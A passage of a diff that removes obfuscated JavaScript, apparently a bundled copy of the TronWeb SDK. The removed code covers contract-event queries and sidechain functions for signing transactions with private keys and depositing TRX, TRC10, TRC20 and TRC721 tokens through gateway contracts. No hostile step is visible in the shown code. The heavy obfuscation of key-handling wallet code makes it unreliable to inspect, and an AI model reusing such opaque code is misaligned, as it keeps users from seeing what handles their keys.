- var _0x26ab14 = _0x368099.onlyUnconfirmed;
- var _0x4e45a3 = _0x368099.previousLastEventFingerprint;
- var _0x56283c = _0x368099.previousFingerprint;
- var _0x4fec82 = _0x368099.fingerprint;
- var _0x2ae9c1 = _0x368099.rawResponse;
- var _0x26422e = _0x368099.sort;
- var _0x2f36c7 = _0x368099.filters;
- if (!_0x641c9) {
- return this.injectPromise(this.getEventsByContractAddress, _0x22210e, _0x3f8b15);
- }
- if (_0x5e39f1 = _0x5e39f1 || _0x1e0182 || _0x29f2a7, !this.tronWeb.eventServer) {
- return _0x641c9("No event server configured");
- }
- var _0x3d15c6 = [];
- if (!this.tronWeb.isAddress(_0x22210e)) {
- return _0x641c9("Invalid contract address provided");
- }
- if (_0x1a2945 && !_0x22210e) {
- return _0x641c9("Usage of event name filtering requires a contract address");
- }
- if (undefined !== _0x5e39f1 && !_0x1db97c.isInteger(_0x5e39f1)) {
- return _0x641c9("Invalid fromTimestamp provided");
- }
- if (!_0x1db97c.isInteger(_0x5c7e1a)) {
- return _0x641c9("Invalid size provided");
- }
- if (_0x5c7e1a > 200 && (console.warn("Defaulting to maximum accepted size: 200"), _0x5c7e1a = 200), !_0x1db97c.isInteger(_0x38ca39)) {
- return _0x641c9("Invalid page provided");
- }
- if (_0x49dd3b && !_0x1a2945) {
- return _0x641c9("Usage of block number filtering requires an event name");
- }
- _0x22210e && _0x3d15c6.push(this.tronWeb.address.fromHex(_0x22210e));
- _0x1a2945 && _0x3d15c6.push(_0x1a2945);
- _0x49dd3b && _0x3d15c6.push(_0x49dd3b);
- var _0x6cc47b = {
- size: _0x5c7e1a,
- page: _0x38ca39
- };
- "object" === _0x4dce66(_0x2f36c7) && Object.keys(_0x2f36c7).length > 0 && (_0x6cc47b.filters = JSON.stringify(_0x2f36c7));
- _0x5e39f1 && (_0x6cc47b.fromTimestamp = _0x6cc47b.since = _0x5e39f1);
- _0x50c614 && (_0x6cc47b.only_confirmed = _0x50c614);
- _0x26ab14 && !_0x50c614 && (_0x6cc47b.only_unconfirmed = _0x26ab14);
- _0x26422e && (_0x6cc47b.sort = _0x26422e);
- (_0x4fec82 = _0x4fec82 || _0x56283c || _0x4e45a3) && (_0x6cc47b.fingerprint = _0x4fec82);
- return this.tronWeb.eventServer.request("event/contract/".concat(_0x3d15c6.join("/"), "?").concat(_0x56b330.stringify(_0x6cc47b))).then(function () {
- var _0x58fb54 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- return _0x58fb54 ? _0x1db97c.isArray(_0x58fb54) ? _0x641c9(null, true === _0x2ae9c1 ? _0x58fb54 : _0x58fb54.map(function (_0x13cff2) {
- return _0x1db97c.mapEvent(_0x13cff2);
- })) : _0x641c9(_0x58fb54) : _0x641c9("Unknown error occurred");
- }).catch(function (_0x352e3a) {
- return _0x641c9(_0x352e3a.response && _0x352e3a.response.data || _0x352e3a);
- });
- }
- }, {
- key: "getEventsByTransactionID",
- value: function () {
- var _0x444afb = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x334c40 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0x3d2c91 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x334c40) && (_0x3d2c91 = _0x334c40, _0x334c40 = {});
- return _0x3d2c91 ? this.tronWeb.eventServer ? this.tronWeb.eventServer.request("event/transaction/".concat(_0x444afb)).then(function () {
- var _0x29a588 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- return _0x29a588 ? _0x1db97c.isArray(_0x29a588) ? _0x3d2c91(null, true === _0x334c40.rawResponse ? _0x29a588 : _0x29a588.map(function (_0x32a425) {
- return _0x1db97c.mapEvent(_0x32a425);
- })) : _0x3d2c91(_0x29a588) : _0x3d2c91("Unknown error occurred");
- }).catch(function (_0x8f8a5f) {
- return _0x3d2c91(_0x8f8a5f.response && _0x8f8a5f.response.data || _0x8f8a5f);
- }) : _0x3d2c91("No event server configured") : this.injectPromise(this.getEventsByTransactionID, _0x444afb, _0x334c40);
- }
- }]);
- return _0x5d1b55;
- }();
- function _0x12f2d6(_0x54b948, _0x1add67) {
- var _0x530fdc = Object.keys(_0x54b948);
- if (Object.getOwnPropertySymbols) {
- var _0x4fb881 = Object.getOwnPropertySymbols(_0x54b948);
- _0x1add67 && (_0x4fb881 = _0x4fb881.filter(function (_0xe42e73) {
- return Object.getOwnPropertyDescriptor(_0x54b948, _0xe42e73).enumerable;
- }));
- _0x530fdc.push.apply(_0x530fdc, _0x4fb881);
- }
- return _0x530fdc;
- }
- function _0x205809(_0x1ee42f) {
- for (var _0x4cc971 = 1; _0x4cc971 < arguments.length; _0x4cc971++) {
- var _0x263f7a = null != arguments[_0x4cc971] ? arguments[_0x4cc971] : {};
- _0x4cc971 % 2 ? _0x12f2d6(Object(_0x263f7a), true).forEach(function (_0x12ae31) {
- _0x713ed3(_0x1ee42f, _0x12ae31, _0x263f7a[_0x12ae31]);
- }) : Object.getOwnPropertyDescriptors ? Object.defineProperties(_0x1ee42f, Object.getOwnPropertyDescriptors(_0x263f7a)) : _0x12f2d6(Object(_0x263f7a)).forEach(function (_0x29f4c0) {
- Object.defineProperty(_0x1ee42f, _0x29f4c0, Object.getOwnPropertyDescriptor(_0x263f7a, _0x29f4c0));
- });
- }
- return _0x1ee42f;
- }
- var _0x2ce6aa = function () {
- function _0x252582(_0x2de1a2) {
- var _0x2da67a = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- var _0x57fb88 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- var _0xa4ab08 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- _0x1d998d(this, _0x252582);
- this.mainchain = _0x57fb88;
- var _0x3f6dea = _0x2de1a2.fullHost;
- var _0x2f8f8d = _0x2de1a2.fullNode;
- var _0x1af722 = _0x2de1a2.solidityNode;
- var _0x5a7b2d = _0x2de1a2.eventServer;
- var _0x2f291d = _0x2de1a2.mainGatewayAddress;
- var _0x1b4c89 = _0x2de1a2.sideGatewayAddress;
- var _0x27abff = _0x2de1a2.sideChainId;
- this.sidechain = new _0x2da67a(_0x3f6dea || _0x2f8f8d, _0x3f6dea || _0x1af722, _0x3f6dea || _0x5a7b2d, _0xa4ab08);
- this.isAddress = this.mainchain.isAddress;
- this.utils = this.mainchain.utils;
- this.setMainGatewayAddress(_0x2f291d);
- this.setSideGatewayAddress(_0x1b4c89);
- this.setChainId(_0x27abff);
- this.injectPromise = _0x13268c()(this);
- this.validator = new _0x4e6fd5(this.sidechain);
- var _0xf44d18 = this;
- this.sidechain.trx.sign = function () {
- return _0xf44d18.sign.apply(_0xf44d18, arguments);
- };
- this.sidechain.trx.multiSign = function () {
- return _0xf44d18.multiSign.apply(_0xf44d18, arguments);
- };
- console.warn("TronWeb: 'tronWeb.sidechain' is deprecated and may be removed in the future. Please use the 'sunweb' sdk instead. For more information, see: https://github.com/tronprotocol/sun-network/tree/develop/js-sdk");
- }
- var _0x3de4ed;
- var _0x43355b;
- var _0x539bb5;
- var _0x561b78;
- var _0x4c7503;
- var _0x41ea5d;
- var _0x3da021;
- var _0x267036;
- var _0x4b2aba;
- var _0x269fae;
- var _0x22af2f;
- var _0x9f2072;
- var _0x4cb6a0;
- var _0x24fadf;
- var _0x4c2d97;
- var _0x1ebf5c;
- var _0x35f804;
- var _0x1f92b4;
- var _0x37e338;
- var _0x4e01e4;
- var _0xf04ccc;
- _0x561e78(_0x252582, [{
- key: "setMainGatewayAddress",
- value: function (_0x224f10) {
- if (!this.isAddress(_0x224f10)) {
- throw new Error("Invalid main gateway address provided");
- }
- this.mainGatewayAddress = _0x224f10;
- }
- }, {
- key: "setSideGatewayAddress",
- value: function (_0x4dfa16) {
- if (!this.isAddress(_0x4dfa16)) {
- throw new Error("Invalid side gateway address provided");
- }
- this.sideGatewayAddress = _0x4dfa16;
- }
- }, {
- key: "setChainId",
- value: function (_0x47c571) {
- if (!this.utils.isString(_0x47c571) || !_0x47c571) {
- throw new Error("Invalid side chainId provided");
- }
- this.chainId = _0x47c571;
- }
- }, {
- key: "signTransaction",
- value: function (_0x489e4d, _0x490471) {
- "string" == typeof _0x489e4d && (_0x489e4d = this.utils.code.hexStr2byteArray(_0x489e4d));
- var _0x2f3bb7 = this.utils.code.hexStr2byteArray(this.chainId);
- var _0x14e319 = this.utils.code.hexStr2byteArray(_0x490471.txID).concat(_0x2f3bb7);
- var _0x4265cf = this.sidechain.utils.ethersUtils.sha256(_0x14e319);
- var _0xff3829 = this.utils.crypto.ECKeySign(this.utils.code.hexStr2byteArray(_0x4265cf.replace(/^0x/, "")), _0x489e4d);
- Array.isArray(_0x490471.signature) ? _0x490471.signature.includes(_0xff3829) || _0x490471.signature.push(_0xff3829) : _0x490471.signature = [_0xff3829];
- return _0x490471;
- }
- }, {
- key: "multiSign",
- value: (_0xf04ccc = _0x203d83(_0x307918().mark(function _0x2d668b() {
- var _0x409f17;
- var _0x5a6dfe;
- var _0x5ecdd2;
- var _0x12cfc0;
- var _0x58d502;
- var _0x385ff2;
- var _0x4b4d32;
- var _0x2279bc = arguments;
- return _0x307918().wrap(function (_0x444c4b) {
- for (;;) {
- switch (_0x444c4b.prev = _0x444c4b.next) {
- case 0:
- if (_0x409f17 = _0x2279bc.length > 0 && undefined !== _0x2279bc[0] && _0x2279bc[0], _0x5a6dfe = _0x2279bc.length > 1 && undefined !== _0x2279bc[1] ? _0x2279bc[1] : this.sidechain.defaultPrivateKey, _0x5ecdd2 = _0x2279bc.length > 2 && undefined !== _0x2279bc[2] && _0x2279bc[2], _0x12cfc0 = _0x2279bc.length > 3 && undefined !== _0x2279bc[3] && _0x2279bc[3], this.utils.isFunction(_0x5ecdd2) && (_0x12cfc0 = _0x5ecdd2, _0x5ecdd2 = 0), this.utils.isFunction(_0x5a6dfe) && (_0x12cfc0 = _0x5a6dfe, _0x5a6dfe = this.mainchain.defaultPrivateKey, _0x5ecdd2 = 0), _0x12cfc0) {
- _0x444c4b.next = 8;
- break;
- }
- return _0x444c4b.abrupt("return", this.injectPromise(this.multiSign, _0x409f17, _0x5a6dfe, _0x5ecdd2));
- case 8:
- if (this.utils.isObject(_0x409f17) && _0x409f17.raw_data && _0x409f17.raw_data.contract) {
- _0x444c4b.next = 10;
- break;
- }
- return _0x444c4b.abrupt("return", _0x12cfc0("Invalid transaction provided"));
- case 10:
- if (_0x409f17.raw_data.contract[0].Permission_id || !(_0x5ecdd2 > 0)) {
- _0x444c4b.next = 30;
- break;
- }
- _0x409f17.raw_data.contract[0].Permission_id = _0x5ecdd2;
- _0x58d502 = this.sidechain.address.toHex(this.sidechain.address.fromPrivateKey(_0x5a6dfe)).toLowerCase();
- _0x444c4b.next = 15;
- return this.sidechain.trx.getSignWeight(_0x409f17, _0x5ecdd2);
- case 15:
- if ("PERMISSION_ERROR" !== (_0x385ff2 = _0x444c4b.sent).result.code) {
- _0x444c4b.next = 18;
- break;
- }
- return _0x444c4b.abrupt("return", _0x12cfc0(_0x385ff2.result.message));
- case 18:
- if (_0x4b4d32 = false, _0x385ff2.permission.keys.map(function (_0x432c71) {
- _0x432c71.address === _0x58d502 && (_0x4b4d32 = true);
- }), _0x4b4d32) {
- _0x444c4b.next = 22;
- break;
- }
- return _0x444c4b.abrupt("return", _0x12cfc0(_0x5a6dfe + " has no permission to sign"));
- case 22:
- if (!_0x385ff2.approved_list || -1 == _0x385ff2.approved_list.indexOf(_0x58d502)) {
- _0x444c4b.next = 24;
- break;
- }
- return _0x444c4b.abrupt("return", _0x12cfc0(_0x5a6dfe + " already sign transaction"));
- case 24:
- if (!_0x385ff2.transaction || !_0x385ff2.transaction.transaction) {
- _0x444c4b.next = 29;
- break;
- }
- (_0x409f17 = _0x385ff2.transaction.transaction).raw_data.contract[0].Permission_id = _0x5ecdd2;
- _0x444c4b.next = 30;
- break;
- case 29:
- return _0x444c4b.abrupt("return", _0x12cfc0("Invalid transaction provided"));
- case 30:
- _0x444c4b.prev = 30;
- return _0x444c4b.abrupt("return", _0x12cfc0(null, this.signTransaction(_0x5a6dfe, _0x409f17)));
- case 34:
- _0x444c4b.prev = 34;
- _0x444c4b.t0 = _0x444c4b.catch(30);
- _0x12cfc0(_0x444c4b.t0);
- case 37:
- case "end":
- return _0x444c4b.stop();
- }
- }
- }, _0x2d668b, this, [[30, 34]]);
- })), function () {
- return _0xf04ccc.apply(this, arguments);
- })
- }, {
- key: "sign",
- value: (_0x4e01e4 = _0x203d83(_0x307918().mark(function _0x59017c() {
- var _0x4a972a;
- var _0x218d05;
- var _0x5bcce6;
- var _0x45fd7d;
- var _0x9dd270;
- var _0x2f4596;
- var _0x534235 = arguments;
- return _0x307918().wrap(function (_0x41ecd1) {
- for (;;) {
- switch (_0x41ecd1.prev = _0x41ecd1.next) {
- case 0:
- if (_0x4a972a = _0x534235.length > 0 && undefined !== _0x534235[0] && _0x534235[0], _0x218d05 = _0x534235.length > 1 && undefined !== _0x534235[1] ? _0x534235[1] : this.sidechain.defaultPrivateKey, _0x5bcce6 = !(_0x534235.length > 2 && undefined !== _0x534235[2]) || _0x534235[2], _0x45fd7d = _0x534235.length > 3 && undefined !== _0x534235[3] && _0x534235[3], _0x9dd270 = _0x534235.length > 4 && undefined !== _0x534235[4] && _0x534235[4], this.utils.isFunction(_0x45fd7d) && (_0x9dd270 = _0x45fd7d, _0x45fd7d = false), this.utils.isFunction(_0x5bcce6) && (_0x9dd270 = _0x5bcce6, _0x5bcce6 = true, _0x45fd7d = false), this.utils.isFunction(_0x218d05) && (_0x9dd270 = _0x218d05, _0x218d05 = this.sidechain.defaultPrivateKey, _0x5bcce6 = true, _0x45fd7d = false), _0x9dd270) {
- _0x41ecd1.next = 10;
- break;
- }
- return _0x41ecd1.abrupt("return", this.injectPromise(this.sign, _0x4a972a, _0x218d05, _0x5bcce6, _0x45fd7d));
- case 10:
- if (!this.utils.isString(_0x4a972a)) {
- _0x41ecd1.next = 21;
- break;
- }
- if (this.utils.isHex(_0x4a972a)) {
- _0x41ecd1.next = 13;
- break;
- }
- return _0x41ecd1.abrupt("return", _0x9dd270("Expected hex message input"));
- case 13:
- _0x41ecd1.prev = 13;
- _0x2f4596 = this.sidechain.trx.signString(_0x4a972a, _0x218d05, _0x5bcce6);
- return _0x41ecd1.abrupt("return", _0x9dd270(null, _0x2f4596));
- case 18:
- _0x41ecd1.prev = 18;
- _0x41ecd1.t0 = _0x41ecd1.catch(13);
- _0x9dd270(_0x41ecd1.t0);
- case 21:
- if (this.utils.isObject(_0x4a972a)) {
- _0x41ecd1.next = 23;
- break;
- }
- return _0x41ecd1.abrupt("return", _0x9dd270("Invalid transaction provided"));
- case 23:
- if (_0x45fd7d || !_0x4a972a.signature) {
- _0x41ecd1.next = 25;
- break;
- }
- return _0x41ecd1.abrupt("return", _0x9dd270("Transaction is already signed"));
- case 25:
- if (_0x41ecd1.prev = 25, _0x45fd7d) {
- _0x41ecd1.next = 30;
- break;
- }
- if (this.sidechain.address.toHex(this.sidechain.address.fromPrivateKey(_0x218d05)).toLowerCase() === this.sidechain.address.toHex(_0x4a972a.raw_data.contract[0].parameter.value.owner_address)) {
- _0x41ecd1.next = 30;
- break;
- }
- return _0x41ecd1.abrupt("return", _0x9dd270("Private key does not match address in transaction"));
- case 30:
- return _0x41ecd1.abrupt("return", _0x9dd270(null, this.signTransaction(_0x218d05, _0x4a972a)));
- case 33:
- _0x41ecd1.prev = 33;
- _0x41ecd1.t1 = _0x41ecd1.catch(25);
- _0x9dd270(_0x41ecd1.t1);
- case 36:
- case "end":
- return _0x41ecd1.stop();
- }
- }
- }, _0x59017c, this, [[13, 18], [25, 33]]);
- })), function () {
- return _0x4e01e4.apply(this, arguments);
- })
- }, {
- key: "depositTrx",
- value: (_0x37e338 = _0x203d83(_0x307918().mark(function _0xecff82(_0x47e5b4, _0x31c9c4, _0x4e4652) {
- var _0x2373d0;
- var _0x4ce7e5;
- var _0xbd296d;
- var _0xd3551a;
- var _0x2f8fe3;
- var _0x1def78 = arguments;
- return _0x307918().wrap(function (_0x34527e) {
- for (;;) {
- switch (_0x34527e.prev = _0x34527e.next) {
- case 0:
- if (_0x2373d0 = _0x1def78.length > 3 && undefined !== _0x1def78[3] ? _0x1def78[3] : {}, _0x4ce7e5 = _0x1def78.length > 4 && undefined !== _0x1def78[4] ? _0x1def78[4] : this.mainchain.defaultPrivateKey, _0xbd296d = _0x1def78.length > 5 && undefined !== _0x1def78[5] && _0x1def78[5], this.utils.isFunction(_0x4ce7e5) && (_0xbd296d = _0x4ce7e5, _0x4ce7e5 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x2373d0) && (_0xbd296d = _0x2373d0, _0x2373d0 = {}), _0xbd296d) {
- _0x34527e.next = 7;
- break;
- }
- return _0x34527e.abrupt("return", this.injectPromise(this.depositTrx, _0x47e5b4, _0x31c9c4, _0x4e4652, _0x2373d0, _0x4ce7e5));
- case 7:
- if (!this.validator.notValid([{
- name: "callValue",
- type: "integer",
- value: _0x47e5b4,
- gte: 0
- }, {
- name: "depositFee",
- type: "integer",
- value: _0x31c9c4,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x4e4652,
- gte: 0
- }], _0xbd296d)) {
- _0x34527e.next = 9;
- break;
- }
- return _0x34527e.abrupt("return");
- case 9:
- _0x2373d0 = _0x205809({
- callValue: Number(_0x47e5b4) + Number(_0x31c9c4),
- feeLimit: _0x4e4652
- }, _0x2373d0);
- _0x34527e.prev = 10;
- _0x34527e.next = 13;
- return this.mainchain.contract().at(this.mainGatewayAddress);
- case 13:
- _0xd3551a = _0x34527e.sent;
- _0x34527e.next = 16;
- return _0xd3551a.depositTRX().send(_0x2373d0, _0x4ce7e5);
- case 16:
- _0x2f8fe3 = _0x34527e.sent;
- return _0x34527e.abrupt("return", _0xbd296d(null, _0x2f8fe3));
- case 20:
- _0x34527e.prev = 20;
- _0x34527e.t0 = _0x34527e.catch(10);
- return _0x34527e.abrupt("return", _0xbd296d(_0x34527e.t0));
- case 23:
- case "end":
- return _0x34527e.stop();
- }
- }
- }, _0xecff82, this, [[10, 20]]);
- })), function (_0x21f2b4, _0x4ae190, _0xf3bbd7) {
- return _0x37e338.apply(this, arguments);
- })
- }, {
- key: "depositTrc10",
- value: (_0x1f92b4 = _0x203d83(_0x307918().mark(function _0x210c13(_0x50b3b4, _0x315248, _0x174528, _0x4c7f23) {
- var _0x1fa3df;
- var _0x2a8905;
- var _0x101227;
- var _0x5bc93c;
- var _0xde98a6;
- var _0xcbf0aa = arguments;
- return _0x307918().wrap(function (_0x3441bc) {
- for (;;) {
- switch (_0x3441bc.prev = _0x3441bc.next) {
- case 0:
- if (_0x1fa3df = _0xcbf0aa.length > 4 && undefined !== _0xcbf0aa[4] ? _0xcbf0aa[4] : {}, _0x2a8905 = _0xcbf0aa.length > 5 && undefined !== _0xcbf0aa[5] ? _0xcbf0aa[5] : this.mainchain.defaultPrivateKey, _0x101227 = _0xcbf0aa.length > 6 && undefined !== _0xcbf0aa[6] && _0xcbf0aa[6], this.utils.isFunction(_0x2a8905) && (_0x101227 = _0x2a8905, _0x2a8905 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x1fa3df) && (_0x101227 = _0x1fa3df, _0x1fa3df = {}), _0x101227) {
- _0x3441bc.next = 7;
- break;
- }
- return _0x3441bc.abrupt("return", this.injectPromise(this.depositTrc10, _0x50b3b4, _0x315248, _0x174528, _0x4c7f23, _0x1fa3df, _0x2a8905));
- case 7:
- if (!this.validator.notValid([{
- name: "tokenValue",
- type: "integer",
- value: _0x315248,
- gte: 0
- }, {
- name: "depositFee",
- type: "integer",
- value: _0x174528,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0x4c7f23,
- gte: 0
- }, {
- name: "tokenId",
- type: "integer",
- value: _0x50b3b4,
- gte: 0
- }], _0x101227)) {
- _0x3441bc.next = 9;
- break;
- }
- return _0x3441bc.abrupt("return");
- case 9:
- _0x1fa3df = _0x205809(_0x205809({
- tokenId: _0x50b3b4,
- tokenValue: _0x315248,
- feeLimit: _0x4c7f23
- }, _0x1fa3df), {}, {
- callValue: _0x174528
- });
- _0x3441bc.prev = 10;
- _0x3441bc.next = 13;
- return this.mainchain.contract().at(this.mainGatewayAddress);
- case 13:
- _0x5bc93c = _0x3441bc.sent;
- _0x3441bc.next = 16;
- return _0x5bc93c.depositTRC10(_0x50b3b4, _0x315248).send(_0x1fa3df, _0x2a8905);
- case 16:
- _0xde98a6 = _0x3441bc.sent;
- _0x101227(null, _0xde98a6);
- _0x3441bc.next = 23;
- break;
- case 20:
- _0x3441bc.prev = 20;
- _0x3441bc.t0 = _0x3441bc.catch(10);
- return _0x3441bc.abrupt("return", _0x101227(_0x3441bc.t0));
- case 23:
- case "end":
- return _0x3441bc.stop();
- }
- }
- }, _0x210c13, this, [[10, 20]]);
- })), function (_0xf34f76, _0x207dfb, _0x1e406b, _0x13e483) {
- return _0x1f92b4.apply(this, arguments);
- })
- }, {
- key: "depositTrc",
- value: (_0x35f804 = _0x203d83(_0x307918().mark(function _0x364a9f(_0x2bbf60, _0x3a6a1b, _0x14b9f0, _0xa25622, _0x93ae0b) {
- var _0x1a34dc;
- var _0x34e5b4;
- var _0x2c89b9;
- var _0xa246bc;
- var _0x327b08;
- var _0x20c196;
- var _0x1fb670 = arguments;
- return _0x307918().wrap(function (_0x288e78) {
- for (;;) {
- switch (_0x288e78.prev = _0x288e78.next) {
- case 0:
- if (_0x1a34dc = _0x1fb670.length > 5 && undefined !== _0x1fb670[5] ? _0x1fb670[5] : {}, _0x34e5b4 = _0x1fb670.length > 6 && undefined !== _0x1fb670[6] ? _0x1fb670[6] : this.mainchain.defaultPrivateKey, _0x2c89b9 = _0x1fb670.length > 7 && undefined !== _0x1fb670[7] && _0x1fb670[7], this.utils.isFunction(_0x34e5b4) && (_0x2c89b9 = _0x34e5b4, _0x34e5b4 = this.mainchain.defaultPrivateKey), this.utils.isFunction(_0x1a34dc) && (_0x2c89b9 = _0x1a34dc, _0x1a34dc = {}), _0x2c89b9) {
- _0x288e78.next = 7;
- break;
- }
- return _0x288e78.abrupt("return", this.injectPromise(this.depositTrc, _0x2bbf60, _0x3a6a1b, _0x14b9f0, _0xa25622, _0x93ae0b, _0x1a34dc, _0x34e5b4));
- case 7:
- if (!this.validator.notValid([{
- name: "functionSelector",
- type: "not-empty-string",
- value: _0x2bbf60
- }, {
- name: "num",
- type: "integer",
- value: _0x3a6a1b,
- gte: 0
- }, {
- name: "fee",
- type: "integer",
- value: _0x14b9f0,
- gte: 0
- }, {
- name: "feeLimit",
- type: "integer",
- value: _0xa25622,
- gte: 0
- }, {
- name: "contractAddress",
- type: "address",
- value: _0x93ae0b
- }], _0x2c89b9)) {
- _0x288e78.next = 9;
- break;
- }
- return _0x288e78.abrupt("return");
- case 9:
- if (_0x1a34dc = _0x205809(_0x205809({
- feeLimit: _0xa25622
- }, _0x1a34dc), {}, {
- callValue: _0x14b9f0,
- tokenId: "",
- tokenValue: 0
- }), _0x288e78.prev = 10, _0xa246bc = null, "approve" !== _0x2bbf60) {
- _0x288e78.next = 21;
- break;
- }
- _0x288e78.next = 15;
- return this.mainchain.contract().at(_0x93ae0b);
- case 15:
- _0x327b08 = _0x288e78.sent;
- _0x288e78.next = 18;
- return _0x327b08.approve(this.mainGatewayAddress, _0x3a6a1b).send(_0x1a34dc, _0x34e5b4);
- case 18:
- _0xa246bc = _0x288e78.sent;
- _0x288e78.next = 44;
- break;
- case 21:
- _0x288e78.next = 23;
- return this.mainchain.contract().at(this.mainGatewayAddress);
- case 23:
- _0x20c196 = _0x288e78.sent;
- _0x288e78.t0 = _0x2bbf60;
- _0x288e78.next = "depositTRC20" === _0x288e78.t0 ? 27 : "depositTRC721" === _0x288e78.t0 ? 31 : "retryDeposit" === _0x288e78.t0 ? 35 : "retryMapping" === _0x288e78.t0 ? 39 : 43;
- break;
- case 27:
- _0x288e78.next = 29;
- return _0x20c196.depositTRC20(_0x93ae0b, _0x3a6a1b).send(_0x1a34dc, _0x34e5b4);
- case 29:
- case 33:
- case 37:
- case 41:
- _0xa246bc = _0x288e78.sent;
- return _0x288e78.abrupt("break", 44);
- case 31:
- _0x288e78.next = 33;
- return _0x20c196.depositTRC721(_0x93ae0b, _0x3a6a1b).send(_0x1a34dc, _0x34e5b4);
- case 35:
- _0x288e78.next = 37;
- return _0x20c196.retryDeposit(_0x3a6a1b).send(_0x1a34dc, _0x34e5b4);
- case 39:
- _0x288e78.next = 41;
- return _0x20c196.retryMapping(_0x3a6a1b).send(_0x1a34dc, _0x34e5b4);
- case 43:
- return _0x288e78.abrupt("break", 44);
- case 44:
- _0x2c89b9(null, _0xa246bc);
- _0x288e78.next = 50;
- break;
- case 47:
- _0x288e78.prev = 47;
- _0x288e78.t1 = _0x288e78.catch(10);
- return _0x288e78.abrupt("return", _0x2c89b9(_0x288e78.t1));
- case 50:
- case "end":
- return _0x288e78.stop();
- }
- }
- }, _0x364a9f, this, [[10, 47]]);
- })), function (_0xe2851f, _0x276de2, _0x520770, _0xc47d13, _0x33efb0) {
- return _0x35f804.apply(this, arguments);
- })
- }, {
- key: "approveTrc20",
- value: (_0x1ebf5c = _0x203d83(_0x307918().mark(function _0x21c85a(_0xaf1f38, _0x5e021b, _0x5141d4) {
- var _0x5a5541;
- var _0x2e4dd8;
- var _0x592036;
- var _0x318e83 = arguments;
- return _0x307918().wrap(function (_0x4fcd37) {
- for (;;) {
- switch (_0x4fcd37.prev = _0x4fcd37.next) {
- case 0:
- _0x5a5541 = _0x318e83.length > 3 && undefined !== _0x318e83[3] ? _0x318e83[3] : {};
- _0x2e4dd8 = _0x318e83.length > 4 && undefined !== _0x318e83[4] ? _0x318e83[4] : this.mainchain.defaultPrivateKey;
- _0x592036 = _0x318e83.length > 5 && undefined !== _0x318e83[5] && _0x318e83[5];
- return _0x4fcd37.abrupt("return", this.depositTrc("approve", _0xaf1f38, 0, _0x5e021b, _0x5141d4, _0x5a5541, _0x2e4dd8, _0x592036));
- case 5:
- case "end":
- return _0x4fcd37.stop();
- }
- }
- }, _0x21c85a, this);
- })), function (_0x9156b6, _0x445bbf, _0x54ea97) {
- return _0x1ebf5c.apply(this, arguments);
- })
- }, {
- key: "approveTrc721",
- value: (_0x4c2d97 = _0x203d83(_0x307918().mark(function _0x38998c(_0x3fbd9b, _0x1467c3, _0x255c16) {
- var _0x1bccab;
- var _0x26934e;
- var _0x59c9fc;
- var _0x3680b1 = arguments;
- return _0x307918().wrap(function (_0x1bb707) {
- for (;;) {
- switch (_0x1bb707.prev = _0x1bb707.next) {
- case 0:
- _0x1bccab = _0x3680b1.length > 3 && undefined !== _0x3680b1[3] ? _0x3680b1[3] : {};
- _0x26934e = _0x3680b1.length > 4 && undefined !== _0x3680b1[4] ? _0x3680b1[4] : this.mainchain.defaultPrivateKey;
- _0x59c9fc = _0x3680b1.length > 5 && undefined !== _0x3680b1[5] && _0x3680b1[5];
- return _0x1bb707.abrupt("return", this.depositTrc("approve", _0x3fbd9b, 0, _0x1467c3, _0x255c16, _0x1bccab, _0x26934e, _0x59c9fc));
- case 5:
- case "end":
- return _0x1bb707.stop();
- }
- }
- }, _0x38998c, this);
- })), function (_0x74caa6, _0x19b687, _0x3dc6ad) {
- return _0x4c2d97.apply(this, arguments);
- })
- }, {
- key: "depositTrc20",
- value: (_0x24fadf = _0x203d83(_0x307918().mark(function _0x18b7fc(_0x18b9ae, _0x90c5ca, _0x937334, _0x41cd5e) {
- var _0x35b63e;
- var _0x13df3d;
- var _0x5467e5;
- var _0x29bf04 = arguments;
- return _0x307918().wrap(function (_0x1c04c8) {
- for (;;) {
- switch (_0x1c04c8.prev = _0x1c04c8.next) {
- case 0:
- _0x35b63e = _0x29bf04.length > 4 && undefined !== _0x29bf04[4] ? _0x29bf04[4] : {};
- _0x13df3d = _0x29bf04.length > 5 && undefined !== _0x29bf04[5] ? _0x29bf04[5] : this.mainchain.defaultPrivateKey;
- _0x5467e5 = _0x29bf04.length > 6 && undefined !== _0x29bf04[6] && _0x29bf04[6];
- return _0x1c04c8.abrupt("return", this.depositTrc("depositTRC20", _0x18b9ae, _0x90c5ca, _0x937334, _0x41cd5e, _0x35b63e, _0x13df3d, _0x5467e5));
- case 5:
- case "end":
- return _0x1c04c8.stop();
- }
- }
- }, _0x18b7fc, this);
- })), function (_0x16dfd3, _0x5af11a, _0x245e5a, _0x563c6c) {
- return _0x24fadf.apply(this, arguments);
- })
- }, {
- key: "depositTrc721",
- value: (_0x4cb6a0 = _0x203d83(_0x307918().mark(function _0x67df7d(_0x446498, _0x2f10cc, _0x398133, _0x18c183) {
- var _0x2bf220;
- var _0x52cabe;
- var _0x423df6;
- var _0x2b6b82 = arguments;
- return _0x307918().wrap(function (_0x190e38) {
- for (;;) {
- switch (_0x190e38.prev = _0x190e38.next) {
- case 0:
- _0x2bf220 = _0x2b6b82.length > 4 && undefined !== _0x2b6b82[4] ? _0x2b6b82[4] : {};
- _0x52cabe = _0x2b6b82.length > 5 && undefined !== _0x2b6b82[5] ? _0x2b6b82[5] : this.mainchain.defaultPrivateKey;
- _0x423df6 = _0x2b6b82.length > 6 && undefined !== _0x2b6b82[6] && _0x2b6b82[6];
- return _0x190e38.abrupt("return", this.depositTrc("depositTRC721", _0x446498, _0x2f10cc, _0x398133, _0x18c183, _0x2bf220, _0x52cabe, _0x423df6));
- case 5:
- case "end":
- return _0x190e38.stop();
- }
- }
- }, _0x67df7d, this);
- })), function (_0x15610e, _0x551818, _0x13fbfa, _0x41ca5b) {
- return _0x4cb6a0.apply(this, arguments);
- })
- }, {
- key: "mappingTrc",
